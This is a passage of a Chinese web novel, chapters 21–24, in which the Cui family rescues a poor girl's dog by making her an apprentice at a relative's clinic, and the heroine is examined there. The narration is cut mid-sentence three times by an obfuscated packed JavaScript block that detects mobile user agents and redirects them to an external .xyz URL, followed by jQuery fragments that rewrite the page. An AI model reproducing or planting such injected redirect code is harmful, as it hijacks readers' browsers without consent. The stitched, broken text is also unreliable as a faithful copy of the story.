讲话完毕后,崔皓羿对着她轻轻唤了一声,而后将视线在她与她怀中搂抱的孩童间不断游走。
接收到眼神的“崔清婉”一下子便领会了对方这个欲言又止的示意,她冲着崔皓羿摇摇头,接着蹲下身来,再度与这娃娃平视。
“还难过吗?要是不哭了,能不能回答姐姐一些问题?”
“呜……嗯……”
女童一边抽泣一边抿紧双唇点点头,她那一双小手狠狠揉搓着眼眸,准备着好好回话。见状,“崔清婉”从怀中掏出一方丝帕,将其代替女童沾染尘土的小手来擦拭泪雾。
“你刚刚说的‘福仔’是什么?为什么你让姐姐不要吃掉你的‘福仔’?是谁告诉过你姐姐要吃‘福仔’吗?”
怕小孩子表达含糊,所以“崔清婉”相问时,问题既明确又详细。
“福仔是……是……呜……”
抽泣不断,所以出口的话也碎成一片一片,半蹲着身子的“崔清婉”耐心等着,目光温和,不见一丝催促的神色。
几步外的崔皓羿也保持着恰到好处的沉默,他谨慎地没有上前去,生怕自己给这娃娃造成压迫感。
而站在后方许久未吱声的崔皓月见二人站在院子当中,皆是一副专注交谈忘记移身的模样,顿感头痛,他紧着牙关抬手向眉间揉按去,略重的手劲儿让那粒浅痣都鲜红了些。
“苍天!真是三姐不在这儿,都没人管得了你俩了是吗?我那心有灵犀的三哥四姐,此刻你二人一个是身子羸弱,一个是衣着单薄,有什么话不能进屋说,非得在院子里灌冷风?”
见二人还没动静,崔皓月一声叹气,招招手让苑内的侍从们该退下的退下,该服侍娘子郎君进屋的进屋,他自己也是一甩衣袖,将手互揣着闪进屋内。
而趁着众人行动,曲游欢也连忙赶到曲知笙身边,耳语几句后,便拽着对方匆匆退下了。
21.装怯作勇
坐在月牙凳上的女童双膝并拢,那小小的膝头上托着方才被崔家娘子塞到怀里的暖炉,一双瘦巴巴的小手局促地摩挲着花纹繁复的炉盖,这样精致还温暖的物件儿她是第一次看到,她好奇,却也不敢发问,她垂着头颅乖巧而怯弱地听候发落。
她知道她求对了人,她的福仔可以活下来,可她不知道她会被怎样对待,不是被崔家的这几位如何对待,是她不知道她回家后会被她家里人如何对待。
她欣喜,她也害怕;她期待,她也抗拒。
矛盾的心情让一张稚嫩小脸变得紧绷绷的,透不出丁点儿天真模样。
“别担心,四娘人很好,她一定会帮你,你看,这是四娘吩咐我给你取来的糕点,吃一些吧?”
被温声对待的女童怯生生地抬眼看去,只见一位粉雕玉琢的小姐姐端着盛满糕点的碟子递到自己眼前,对方笑吟吟的模样让人很是安心,可她没有抬手去拿,她咽咽口水,对着这个比自己大不了几岁的小姐姐,小心翼翼地开了口。
“侍女姐姐,我……要不我先回家吧……”
“嘻,瞧你紧张的样子,怎么现在没有闯进我们院子里的胆量啦?”晴眉用手指勾了勾女童的小脸,弯弯眼眸一声轻笑,“放心,三郎君已经遣人去你家中报平安了,你不必着急。你唤我晴眉就好,其实我也没比你大几岁,前三四年我还与你梳一样的头发呢,只是我们崔府下人一直衣食不缺,我这才比你长得高了些。给,你赶紧吃几块糕点,等你再长大一点儿,你家里人就不会不管不顾你的想法,随意处置你的小狗了。”
“晴眉姐姐……”女童试探着开口。
“哎,都叫我姐姐了,那就听姐姐的话,先吃点东西垫垫肚子吧?四娘已经吩咐下去,让膳房给你煮碗姜鸡索饼呢!我和你说,你一会儿可要好好尝尝!这个姜鸡索饼可是我们这些下人庆生时才会被赏的佳肴,你一定没吃过!这可是我们三娘子酒楼里的秘方,寻常人想吃都不一定能定下呢……”
晴眉眉飞色舞地说着,满脸的笑意似乎也感染了女童几分,她先是垂下眼睛点点头,片刻后再抬眸时,她拘谨地从晴眉手中的盘碟内捏拿起一块,然后就着四方糕点的一角轻轻地噬咬着,那柔缓慎重的模样就像是生怕给糕点惊醒从指间跳脱了。
“真好,这就对了,放心吧,你那福仔小狗的事,我们四娘和郎君一定会帮你解决妥当的。”
“嗯。”
女童闷闷地应答着,半低的脑袋似乎要遮掩眼眶中溢出的泪珠,晴眉瞧见,也不多言,只是将盘碟放在女童身旁的案桌上,然后向一旁撤开半步,不再去惊扰她。
大概是待在屋内的人多,此刻竟没有春夜特有的阴冷,唯有烛火直明,一缕青烟倏而升起,向来心细的云岫瞧见,利索拿起剪子修理烛芯,她动作轻快,未曾碰出半点儿声响。
另一侧,崔皓月玩闹般从侍女手中夺过干燥帕子,而后一股一股地为崔皓羿绞着长发,只是他不仅手中忙活,连嘴上也不肯闲下。
“四姐姐怎么一言不发,是因这孩子的请求而烦心吗?”
听罢他的问话,“崔清婉”将目光从那道衣着寒酸的瘦小身影上收回并落到对方手中,用来绞干长发的绸布柔软顺滑,是上等面料,不过这在崔府也没什么可稀奇的。
“烦心?”喃喃重复一遍,“崔清婉”神情未变,只是语气中有了明显的不快之意,“我为什么要烦心?安雅小姑娘受委屈来求我,而我恰好能凭借身份抚平她的委屈,我何来烦心?”
“好好好,没烦心,不过也多亏四姐姐耐得住性子,柔声细语地哄着那小姑娘问了个明白,要不谁能知道她来是为了给她家狗子求情?”
崔皓月抖抖手中的绸布,候着的侍女将其接过,复又递上新的一条干燥帕子。
“原来小安雅所求之事在你看来也属意料之外,我还以为是我记不清过往,连这样的习俗都忘记了。”
“崔清婉”冷笑一声,话里话外满是刻薄,明显她是在气头上,连寻常时候的谨慎都顾不上了。
“我本想劝四姐姐宽心,但如此缘由,四姐姐动气也正常,毕竟我们下水救人时,可从没想过要收他们的谢礼,尤其这谢礼还是一位小姑娘爱犬的生命……”
崔皓月无奈,话说着便不自觉染上与“崔清婉”同样不满的情绪,手中绞着的动作也泄愤般加了些力气。
“嘁,我也不明白,他家父母怎么就会想着给我们送狗肉?难道我们崔家有谁在外表露过这样的癖好吗?”
“与癖好无关,想来这只是贫苦人家唯一能拿出的谢礼,”似乎是被身后捣乱的崔皓月揪了发丝,崔皓羿吃痛地歪歪脑袋躲避着还在持续的蹂躏,“上月借着中宫生辰,朝廷临时又向百姓们加了一通粮税,加之寒冬漫长,现今又恰逢春耕,能果腹对百姓们而言已是大幸,留在手中的钱粮更为匮乏。想必这狗肉,已经是他们眼下最拿得出手的贵重东西了。”
“可!”
想再争辩几句,却说了一个“可”字便哑火,“崔清婉”分不清是气是恼,只是听罢崔皓羿所言便感到心中酸涩,她泄愤般跺了一下脚,而后快走几步偏坐在角落里,撇下嘴角一言不发。
因屋内人格外怕寒气,所以这窗户是压得严严实实,绢纱蒙着窗棂,隐隐透露出其间的锁纹样式,不知贫苦人家的窗棂是什么模样,糊在上面的又是何种纸张?
许久,“崔清婉”终于缓缓开口,言语间,也恢复了一贯的平静。
“子贡赎人,不取其金,孔子曰‘鲁人不复赎人矣’;子路拯溺,后受其牛,孔子曰‘鲁人必拯溺者矣’。书中的道理,我自以为自己读过不少,也明白一些,可今日之事,我只觉得为难。”
“我必然不会接受狗肉,换成其他物资,我也不想接受,我在府内生活已是优渥,何苦来接受他们用以度日的物件儿?我当然知道他们心存感激,我也没有任何看轻他们的意思,可我就是不能接受……什么复不复善行,先贤说的话尽让人为难。”
最后一句显然是没有底气,她只能低着声音嘀咕一句。
“阿婉腹有诗书,真知灼见让为兄也自愧不如。”
本想从崔皓月手中接过帕子自己拭干发丝,却因为大氅之下只着里衣而不得不作罢,崔皓羿无奈瞥看崔皓月一眼,用眼神示意对方下手悠着点。见状,崔皓月狡黠一笑,被眉间的浅痣衬着,怎么看都觉得是不怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913728|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好意。
“不过今日之事也算巧妙,若不得这安雅小姑娘的气魄进我崔府,只怕到时送来狗肉才真正让人为难。现下我们已知安雅家中人的行动,只要想个两全之策既打消对方宰犬念头又能使之表达感谢便可,如此一来,阿婉也不会烦恼了。”
“问题的答案是什么,是答案,你这分明就是空话,现在难的不就是不知道怎么让对方换个感谢的内容嘛……”
“崔清婉”嘟囔着吐槽,她自然不是对崔皓羿不满,只是比起这些客套话,她更想得到有可行性的建议。
而一旁绞着自家兄长湿发的崔皓月察觉到她的烦闷,也开口分析道:“四姐姐,我想关于安家人的感谢,我们最好还是不要拒绝,既然我们不愿接受他们的感谢内容,那最好的办法便是主动——”
“主动为他们创造个用以表达感谢的、且是我们所能接受的内容!”
是了,将主动权掌握在自己手中,这样的两全之策才最具备可行性。
顺着崔皓月话语作答的“崔清婉”松了口气,其实她一早就该想到的,只是方才被气恼又苦涩的心情冲昏了头脑,她甚至还因自己在崔府中享受的优越条件而产生了难以排解的羞愧。
其实根本不怪她,可她就是忍不住将一切错误揽在自己身上,也许她自己都没发现,她自醒来就处在一种镇定的焦虑状态。
罢了,先不纠结这些,现下要紧的是如何决定安家的感谢内容。
“崔清婉”转眸看去,却见被身后人耍弄着青丝的崔皓羿正对自己温和笑着,一副看穿了的神情。
“早在年初,二哥便提起过二嫂嫂的病坊内人手不足,我想若是如安雅小姑娘这样有心志的人前去,不仅每月可得一些银钱作为补贴,而且能随二嫂嫂学医术、识字读古籍,诸多益处摆在这儿,料想安家夫妇也不会拒绝。”
气定神闲,崔皓羿显然是早就考虑好,那他方才不说出来,还让自己思考,难道是某些人特有的“我来考考你”?
“崔清婉”懒得计较,只是补充了一句:“可我们也不能单方面决定,这个提议总得小安雅自己愿意才行。”
“是,娘子说得对,”意识到自己称呼错了,崔皓羿迅速补上后半句话,想将这抹异常掩在平淡话语之中,“若不去征求安雅小姑娘的意见,那我们崔家也和她父母的一意孤行没什么区嘶——阿月!”
“错了错了,三哥别回头!发丝打结和手指缠上了!”
“别,阿月你别硬拽他头发,慢点……”
本还严肃的商讨氛围,却因为最后这点岔子弄得不正经起来。
烛光下身影摇曳,听罢娘子郎君谈话后的云岫率先一步绕过屏风走到茶案旁,那名叫安雅的小丫头正在晴眉的低声笑语中享用索饼,乖巧又惹人怜爱。
云岫做了个噤声手势让晴眉收了话,她半蹲在月牙凳的一侧,对着瘦小女童轻声询问;“安雅小姑娘,方才我家娘子与郎君出了主意,问你愿不愿意到崔家的病坊内做学徒,以此在你父母那儿替下被用作谢礼的福仔?”
“唔,”迅速咬断口中的汤饼,女童立马站起身来冲着云岫点点头,“我可以!只要不吃掉福仔我都可以!”
22.礼非琐礼
可能名叫安雅的小丫头根本没弄明白崔家娘子郎君到底出了什么主意,但想到能救自己养的福仔便一股脑儿地答应下来。用完索饼后,她被那位稳重有威严的侍女姐姐告知,说是让她暂且在偏房里歇息一晚,待明日一早崔家会派人专门跟着她去拜访她的父母。
走在晴眉姐姐身后,安雅抱着沉甸甸又暖和的手炉准备退到侧屋,临出门前,她似乎想要为今晚如梦似幻般的遭遇寻点真切感,于是趁着旁人不注意,她迅速回过头寻找那几位娘子郎君的身影。
屋内烛火摇红,似乎有人在向他们回禀什么,又隐隐听得如“园子修缮”、“通外面的洞”、“暂时用木板堵着”之类的话,剩下的还未听到,她便踏进月光之中。
其实她能猜到屋里在商讨什么,大概是自己偷偷溜进崔府的路线,但她不明白,为什么那位温柔的崔娘子不直接问过自己,而是仅仅得知自己前来请求的事情便止了声,甚至还安排了好多好吃的给自己。
感激且忐忑,她不敢多嘴再去问些什么,她生怕自己说错一句话,然后就让这场美梦破碎,她已经见过后巷小水家狗子在鲜血淋漓中瞪大的双目,她无法接受福仔也变成那个样子。
第二日一早,竟是那位说话稳重的侍女姐姐带了几位抬着粮食布匹的下人到了她家,在一遍遍讲说中,她阿爷阿娘脸上的神情由惶恐变得难以置信,最后是欣喜若狂。他们不停地点头哈腰,却只能用无措搓手来表达不安与感谢,而穿在他们身上简朴的灰色衣衫,此时也迸发出让人难以忽视的雀跃光采。
“看她年纪虽小,但有头脑有魄力,我们崔家有处病坊实在需要这样的好苗子来当个学徒帮衬大夫做事,所以我家娘子郎君特地派我前来聘请,希望二位看在我家娘子救过你家娃娃的份上,就当是那日的谢礼,允了这桩请求吧。”
她并不清楚阿爷阿娘能不能信侍女姐姐所说的理由,但就最后阿爷阿娘让自己先跟侍女姐姐走,他们会给自己收拾些常用器具送过去的嘱托来看,这事已然成了,她的福仔不会有事了。
只不过真是遗憾,这么大的事匆匆决定,她甚至还没来得及向被拴在墙角但一直摇着尾巴的福仔告别呢。
可实际想想,像告别这样的礼节,狗狗是不会在意的,在意的只有人罢了。
连续多日劳累的崔家马车再一次于街道间辘辘作响,坐在宽敞车厢内的“崔清婉”穿着严密,她就着尚可忍受的颠簸盯看手中纸条上的清秀小楷,心中对今日从崔府出发时所带的礼品清点了一遍又一遍。
俗话说“礼多人不怪”,即便崔清婉的二嫂嫂姬承梧已然知晓了有关小安雅的事,可现今的“崔清婉”还是认为,自己必须亲自拜会才说得过去。
四枚做工精致的铜铃系在车衡处,表面镂孔繁复,其内部铜丸和着富有节奏的马蹄声在所经之路留下清脆的金属余音。
栖凤城,鲤泮的皇都,以朱雀大街为中轴线,划分东西两界。
东界坊巷环绕东市而建,其间多为达官贵人居住,自然也常有外国使节与异族大贾走动,所售物品无一不是千金难买,正可谓“锦绣罗绮层叠道,金帛珠玉璨若星”;而城西布局虽与城东一致,但行走在内的多为短衣布褐、贩夫走卒,比不上东市的奇珍琳琅,西市流通的往往是质朴实用的玩意儿,相较东界奢靡浮华之景,此处更有市井烟火的疏朗安心之意。
也因如此,“崔清婉”忍不住心中疑惑,她想不明白原身的这位二嫂嫂是如何说得动崔皓然,居然能允许病坊开在西市之内。
嘶……或许,姬承梧压根就不需要崔二郎君的允许呢?
缓舒一口气,“崔清婉”浅笑着摇摇头,她将目光收回,手中的纸条也卷折几下塞到了暗格中。
许是因为崔家马车的样式即便整体低调但也算奢华,所以一路走来,坊巷内或务工或闲聊的人们都急急避开,为其让开一条通顺的行道来。
未及两盏茶工夫,马蹄声已停,“崔清婉”也在晴眉的搀扶下踏落地面,一旁的云岫利索指挥着小厮们牵下马车并点数好礼品,随后便端庄恭敬地迈着碎步引“崔清婉”向病坊内走去。
并没有占据西市最繁华的地带,姬承梧所开的病坊坐落在集市的西北角上,虽是一座二层小楼,但斗拱不似寻常门楼般硕大,像是有意避让,免得官家闲话。环绕这座屋子的直棂窗相较普通民众家的,竖格间隙更大些,想是为了保证新鲜空气的流通,故只在里层糊了毛头纸,而将外层的竹帘高高卷起。
“徐大嫂是个仔细人,药材交给她挑拣我放心,至于剩下的残渣碎末,也不必交还给我,我不需要。”
刚跨过低矮的门槛,“崔清婉”便听到一句清冷女声,向屋内瞧去,只见有道侧立着的飒爽身影正对着一农夫说些什么。
那浓密乌黑的发丝被绿檀弯月簪高高绾起,姬承梧不像初次探望自己时穿着华贵女裙,今日她一袭浅柳色双折领窄袖长袍上身,腰间革带垂系香囊,腿上是墨色波丝裤,一整个胡人装束,那脚上的黑皮靴还沾染着尘土,显然是在这坊巷内多有奔波。
“觉得丢掉可惜?那就按以往我嘱托过的,去把它熬成药汤,当作茶水喝了便是,用不着顾虑我的想法,我说过了,我不需要。”
大概是说话间余光瞄到了进屋的“崔清婉”,姬承梧冲着那农夫斜斜目光。
“挑拣好的药材放在柜台上就行,你可以回家了,记得今年春耕别再让徐大嫂累着,去年的病根要祛不干净,那可是大麻烦。”
农夫模样的老实男人点着头,讪讪道了几句感谢的话,随后恭敬地向后退几步,正准备转身离去,却在回首时看到多人随行的“崔清婉”,他身躯一震,忙是将头颅垂得更低,加紧脚步速速离开。
见状,“崔清婉”一挑眉,收回自己因对视而显现的习惯性客套微笑,装作什么都没发生的样子迎上前去,冲着姬承梧欠欠身子。
“见过二嫂嫂,不知二嫂嫂现下可还忙碌?那娃娃我带过来了。”
“嗯,暂有闲暇,事情原委我已从三弟那里听说了,”姬承梧托扶起对方交叠在身前行礼的双手,而后目光越过捧着礼品的小厮,向后方那道略显拘谨的小身影招招手,“安雅?过来些,让我瞧瞧。”
小安雅虽有些紧张,可还是快走几步,然后极为利落地对着姬承梧跪下一叩首:“见过师父。”
“倒是机灵,”姬承梧淡然点头,弯腰将跪地的女童搀了起来,“以后你就跟着我,不论是外出看诊,还是市集购药,一切多留心,有什么不懂的、不确定的,都直接来问我。”
“喏。”小安雅眨巴眨巴眼睛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919105|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等待下一步的安排。
“随我行医,向来是没什么休息时间的,不过看你年幼,我许你每逢月中与月末各有一日回家探亲,至于食宿,你同病坊内的其他帮工一样,都在后巷我租的大宅子里,由吴婆婆统一照看。”
“喏。”小安雅干咽一口唾沫,继续等待着。
“好了,叮嘱的话就这些,你现下在病坊内转转,熟悉熟悉环境,一会儿若有事,我自会传你。”姬承梧扬扬下颌,面上仍无太多情绪。
“喏!”小安雅应答干脆,又行了一礼。
能私闯崔府,安雅小丫头绝不是怯懦至极的孩子,可不知为何,在姬承梧身边,她就是一副不敢多言的敬畏模样。此时得到能退下的指令,小安雅肉眼可见地松了口气,然后踱着轻快的小碎步一溜烟冲上了二楼。
瞧看女童在楼梯拐角处消失的身影,姬承梧叹口气,面色依旧平静却埋怨般喃喃自语道:“果然没法子讨孩童喜欢,看到我就像看到罗刹婆,都一个样儿。”
她声音不大,但让身旁的“崔清婉”听了个真切,正当“崔清婉”准备措辞想着该如何安慰对方时,姬承梧又悠悠地嘀咕出后半句话——
“一天到晚催催催,非要个孩子,让他寻良妾他又不愿意,日日费在床榻上的工夫都够我出几回外诊了。”
“咳咳咳!”
准备说的话没说出口,“崔清婉”一口气没上来,被自己口水呛到了气管,止不住地咳了起来。
见状,姬承梧抬手止住上前来的侍女,把着她的肩膀让她略弯了一些腰,而后用空掌心帮“崔清婉”轻缓地拍着背部。
“你啊,身子弱就多休养,今日这事让下人代为操办不就行了?非得自己来一趟,昨日折腾了半夜,想必都没休息好。”
“咳……咳嗯,多谢二嫂嫂关怀,我没什么事的,”
平平气息,“崔清婉”朝着姬承梧浅浅一笑。
“总之,二嫂嫂不嫌弃我添了这样大的麻烦,我真是感激不尽。”
“嗯,又是你一贯爱说的客套话,”姬承梧摇摇头,面色仍是淡然,“你看你带这样多的礼品来,我若不答应,岂不是要白白错过?况且,三弟特别交代过,往后这小安雅的月薪一概由他府上来出,如此省钱又省力的生意我断然没有拒绝的道理。”
“嗯?”
似乎还没反应过来对方说了什么,“崔清婉”下意识就想询问,只是还未开口,便被姬承梧用不容拒绝的手劲儿抓握住了纤纤手腕。
“行了,别傻站着,随我到里屋来,我再为你诊诊脉,你这身子,我最不放心了。”
还未回过神,“崔清婉”懵懵懂懂就被姬承梧拉拽着向屋内的一侧单间走去,她紧着双腿快走两步,随后心下一思忖,缓解尴尬般缓缓开口。
“二嫂嫂真是医者仁心,被我叨扰还记挂我身体,像二嫂嫂这样悬壶济世的医者,定受栖凤城里百姓们的爱戴。”
话音未落,那本拉着“崔清婉”手腕的姬承梧突地一愣,她半回过头,向来淡然平静的脸上竟也浮现出一丝玩味的笑意。
“悬壶济世?你可别将虚名垒在我头上,我只是被师父收养,耳濡目染下会些医术。至于你说的医者仁心,那不过是我对自己做的事情负责,四妹妹,我治病救人可是要收钱的。”
23.旧病难医
治病救人需要收钱,这是无可指摘的,不过在得知姬承梧每年从崔家大郎君那边收取二百两白银时,“崔清婉”不免还是有些小小惊讶。
倒不是说讶异白银的数额,只是因为这种理念,简直和现代人的医疗保险没什么两样。
二百两白银是固定支出,与此对应的,是姬承梧为在京的崔家人每个季节进行一次的诊脉。
未雨绸缪,护卫健康,很好,不愧是崔家最顶梁柱的存在。
如果她不是被开了十几副中药的话,就更好了。
“崔清婉”看着放下礼品,转而提起一摞摞中药包的随行仆从们,心中无奈叹气。
她倒是不知道这副身体到底算哪种程度的健康,毕竟也没体检报告不是?反正看崔家二嫂嫂姬承梧在为自己把脉时那逐渐皱紧的眉头,她便知这身体虚得很了。
眼观鼻、鼻观心,她乖巧地坐在一旁的竹椅上不作声,等待对方为自己抓草药,只是在对方转身拿药材时,她还是迅速起来踮着脚尖看了眼柜台上放着的药方——墨迹并未干透,略微不展的纸张呈着娟秀小楷——谢天谢地,要是像现代医生写的那般,她只能看着干着急了。
益母草、当归、茜草炭……后面还写了许多,但看不真切了。
不过只是看到这几味药材,她心中便有了个七七八八,俗话说久病成医,即便她未曾真正学习过,但对常见药材的疗效还是有几分了解的。况且,现代社会生活下的女孩子似乎很容易就得关于经期紊乱的病症,起码,她就是其中一员。
学业烦恼?就业压力?饮食不健康?作息不规律?
她也不知道究竟是什么导致了生理期的问题,但她身边很多同龄的女孩子都这样,甚至去医院时,医生都会宽慰她们一句——“你年纪轻轻怎么会有这些问题?不过现在的小姑娘这样子也挺常见,不用太担心,慢慢治”。
看嘛,医生都说常见了,那想必也不会是什么大病了吧?
只不过也不会真是小病,毕竟光说流血这个状态,就挺耗人。
但姬承梧为崔清婉身体开的这个药方挺奇怪,前两味自己是知道的,活血的,那这个茜草炭是什么来着?
“益母草……当归……这都是些活血的药材。”
既然不是什么其他问题,“崔清婉”也就放弃了遮掩自己偷看药方的行为,她仍踮着脚尖专注看向柜台,装作寻常地念叨了几句。
“四妹妹倒是博学。”
姬承梧的视线并未离开秤杆,只是淡然应答一句,随后又往称盘中抓取了几块棕褐色的团状药材。
“哪儿能算得上博学,我顶多算个半吊子,只不过是看了医书中的只言片语便想卖弄,但又记不真切,还好有二嫂嫂这样精通药理的大夫在这儿,我尚且能充当学童问上一问,单说这味药材,我就实在想不起它的功效。”
“崔清婉”伸出手指隔空圈了一下,正巧姬承梧回过身,一边分装药材一边侧目瞧了眼。
“茜草炭啊,活血祛瘀、凉血止血。”
“嗯?活血……还止血?”
毕竟不修医药之学,“崔清婉”忍不住对这种听上去就很矛盾的药性发出一声疑问。
“是,人人都说你脱胎换骨、起死回生,但我一把脉便知,你这身子分明与以往没什么区别,还是旧病缠身。过几日你月事恐要来,我怕你腹痛难耐、经水涌多,所以让你先吃些舒缓的汤药。”
啊?月事?
Damn!忘记还有这么个麻烦事儿!
是绸布月经带还是什么草木灰扎的布条来着?记不大清楚,以前她也曾好奇古代女子来月事时会使用什么,所以也特别去查过,结果嘛也很符合她的猜想,都是一些质朴易得的材料,且很容易造成感染。
天呐,让我快回到现代文明吧,这日子好艰难啊……
可惜不能将心底的无奈表露出来,不然“崔清婉”此时一定会冲到房间角落,对着空气喊上几句“苍天”什么的发泄发泄。
“啊,酸枣仁不够了。”
背对着“崔清婉”的姬承梧抽开药柜的小屉子,朝里面看了看,一时有些不满地叩叩屉面。“崔清婉”听到声响,将带有疑惑的目光投向对方身后。
突地,姬承梧猛一回头,回看“崔清婉”的目光烁烁。
被这突来的盯视惊得一怔,“崔清婉”瞪大眼睛向四下扫视,实在看不出什么名堂来,只能小心发问。
“二……二嫂嫂,怎么了?”
“嘿,其实也没什么大事,不过是想要四妹妹多担待些。”
姬承梧向来平静的面上闪出一丝兴奋,这份异常弄得“崔清婉”心底发毛,态度更加恭敬。
“二嫂嫂不妨直言,有什么我能做的,我自该帮嫂嫂的忙,‘担待’二字未免太重了。”
“嘿,阿婉你看,我这病坊中确实人手不足,那安雅小丫头也初来乍到,事情交给她做我总还是不放心……”
姬承梧越说着,面上的兴奋越加明显,偏她平日都是不苟言笑的模样,这时笑起来反而让人毛骨悚然。
“二嫂嫂……还请直言……”“崔清婉”硬着头皮开口。
“我为你开的药方,其中酸枣仁还差二两八钱,只需你从附近药肆买来磨成粉,均分开来配在每副药中。”
还以为是什么不得了的大事,不过是这事,且不说可以托仆从帮忙购买,哪怕就是自己一会儿在回府的路上停下来去一趟药肆,也不是什么大问题,真不知道姬承梧这位娘子为何会流露出这样反常而惊悚的笑容。
“崔清婉”释然一笑:“既是如此,那酸枣仁我便自己配来吧。”
“好,至于这药,你从今晚就开始喝,到月事来了便停止,身子净了再继续服用,服药结束后你来病坊寻我,或遣小厮到我府上与我约定,待我回老宅为你诊脉复查。”
在“崔清婉”答应后,姬承梧的反应堪称是变脸,她立刻恢复了往日那般无欲无求的神情,手中的动作也越发麻利。
不多时,十数副中药药包便被叠放在一侧,被云岫招呼上来的小厮取下了。
嗯……所以这位崔家二嫂嫂该怎样评价?应当算是性子乖僻?
如此看来,或许安雅小丫头比“崔清婉”想象中的还要敏锐,否则对方也不会奔也似的逃到二楼,初次相见,姬承梧的威慑力还是很足的。
然而不等半盏茶时间,“崔清婉”便明白,这位二嫂嫂不止是威慑力十足,连我行我素上也很值得赞叹。
就按正常流程下,即便她随行的仆从已然取走备好的药包,她们二人都该再寒暄几句,甚至“崔清婉”这个社恐本恐都做好了尬聊的准备,哪知她正踌躇着要怎么开口,一抬眼只看到恢复了寻常面色的姬承梧满是疑惑,对方似乎在用无言的目光询问“都开好药了你怎么还不走”。
屋檐下暂歇的雀儿叽叽喳喳,倒显得病坊里缓声作响的药碾子颇为寡言,浸透过烟火气儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922601|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的西市保有它一贯的熙攘,即便其中穿行过几位衣着鲜亮的尊贵人儿,也很快隐于喧闹之中,让人记不清了。
原来送人离开是这么简单的事吗?没必要的寒暄也可以拒绝不谈?
马车尚未启程,“崔清婉”挑起几根手指轻轻扶着车帘,一双澄湛眸子透过空隙瞧看病坊敞开的正门。
在门框两侧,贴有一副对联,上为“但愿世间人无恙”,下联为“宁可架上药生尘”;抬眸看去,另见一副牌匾——非名家大作,也非崔家兄长的手笔,其为姬承梧亲自书写的“神农堂”——是不够标准的正楷,按理来说也不够水准用作门匾,但对方偏有勇气这样做,真是好魄力。
“四娘,可要驱车到附近药肆?若四娘累了,我们也可先回府,差个小厮买来便好。”
云岫靠近木窗柔声询问,她伸手将自家四娘扶开的帘子掩了掩,只留下一小道缝隙。
“无事,既都出了门,索性一并买齐吧,二嫂嫂都特意嘱咐过了,要我今晚便开始喝药呢——”
被唤回神的“崔清婉”收敛目光,可话至中半,她又一顿,似是想到什么,那清丽面容在帷帘的半遮半掩下竟也显出几丝罕见的难为情。
“另外,我想看看西市这边有什么糕点蜜饯,空口饮药,确实过于苦涩单调了。”
“行,难得四娘有这样的好兴致,”云岫温柔一笑,极为宠溺地应答着,“我知晴眉闲暇时最爱和府中的婶子们聊集市上的趣事儿,一会儿由她带路,定能让四娘尽兴。”
“云姐姐,”守在马车另一侧的晴眉听到这话,忙着一溜小碎步过来,“云姐姐和四娘在说什么?是在说西市哪里有好吃的和好玩的吗?”
“是啊,今日便是你大显身手的机会,你要是把四娘哄尽兴了,我下下月便放你半日赶集逛庙会的空闲。”
“没问题!四娘是想尝尝顺缘堂的蜜,和兴斋的糕?还是说口味清甜一点的酪?哎呀不行,酪得现吃,藏不了太久……那要不试试自西域商人们传来的鹘突冷淘?哦对!听说近日有粟特的的商队前来,带了库莫奚族的马匹雄鹰呢!四娘要不要去看看!”
“真是厉害,原以为我们晴眉只知道些口腹之事,不曾想连外族商人的动向也关注,这不禁让我反省,是不是给你活儿派少了?”看着滔滔不绝的晴眉,云岫眯眯眼睛,一副假装恼怒的模样。
“不不不,没有!”晴眉立刻否认。
“这是因为云岫心思细密又能干,所以才衬得我和晴眉像个闲人,”
虽然说现在交谈氛围格外放松,但想起上次云岫因自己的事而斥责晴眉,生怕再有那种场面,“崔清婉”赶紧插话转移谈话重点。
“不过我们还不启程吗?再横在二嫂嫂的病坊外,只怕一会儿二嫂嫂要遣人驱赶我们了。”
“好,既然四娘都这么说了,晴眉,你就来安排接下来的行程吧,但得先去最近的药肆,随后再去别家铺子,不过只要赶在闭市前我们回府便好。”
“欸!好嘞!看四娘有兴致,不如我给四娘讲讲这市集上的趣事儿吧?”
“晴眉大师愿开金口,那我当然是恭敬不如从命了。”
“哎呀,四娘怎么这样说,好了好了,我先和徐伯交代一下,一会儿回来给四娘讲。”
屈身告退,晴眉加快脚步走到马车前端,嘀嘀咕咕地向中年大汉交代几句,仔细确认过后,马蹄声渐起,车铃的“叮铃”声再度响在栖凤城西市之间……
24.踏青·流言(上)
难怪姬承梧催她在诊脉后的当晚便要熬药服用,想来是算准了她月事立马要来,怕她大病初愈后身子虚弱受不得经期之痛才这样急切。
